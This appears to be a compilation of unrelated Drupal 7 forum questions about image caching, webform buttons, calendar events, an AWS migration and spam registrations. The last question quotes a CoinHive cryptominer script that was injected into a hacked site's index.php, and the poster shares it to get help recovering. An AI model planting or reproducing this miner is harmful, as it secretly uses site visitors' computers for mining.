Drupal 7.x

Simple query hopefully, but I'm completely flummoxed.

I've got a site which loads images from external locations and caches them locally (using imagecache_external).  Somehow in that process it changes the filename of the image from "samplefile.jpg" to something like "9c811dbd8564a2ff551b00a3f74ca503.jpg?itok=FZzLR3QD".

I have a webform on my webpage, but i dont want to restrict the webform visibility to any users roles. What i want is to only make the webform unusable to any non logged in users by ether remove the send button or make it not clickable.

Is it any way to target the send button element with php and give it certain action for the visitors when logged in or logged out?

Hi, I have an event with a start date and an end date, 

This is displayed well on my calendar but it dont want the repetition of content, 

Only display content in for start date and the end date.

Between start date and end date, i dont want to display the content.

Thanks

I am trying to migrate my site to AWS.  Drupal Version 7.5.9. 

The site use to be a box with a static ip and now it is moved to a box inside a network.

I am loading it on a linux ec2 box in the private subnet behind a loadbalancer.  I was able to install and get drupal running.  If I set the base_url to the private subnet ip address and access the site while I am VPN into the private network I can see the site as normal.

I have a very strange question here:

there are lots fake registered user ( around 30 a day) post node on my site, the node they posted even including a required image field, I guess they registered automatically through some program, once registered, they start to post immediately. (no need for email verification on my site) and they can post on a content type that I do not show on the site, which makes me think they post through a program not by human.

My Client Drupal(7.38) website's Index.php files was updated two times in Production server

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
 var miner = new CoinHive.Anonymous('Key');
 miner.start();
</script>

it caused white screen in all the page and it got resolved once removed.

And second time below code was inserted and caused Ajax error.
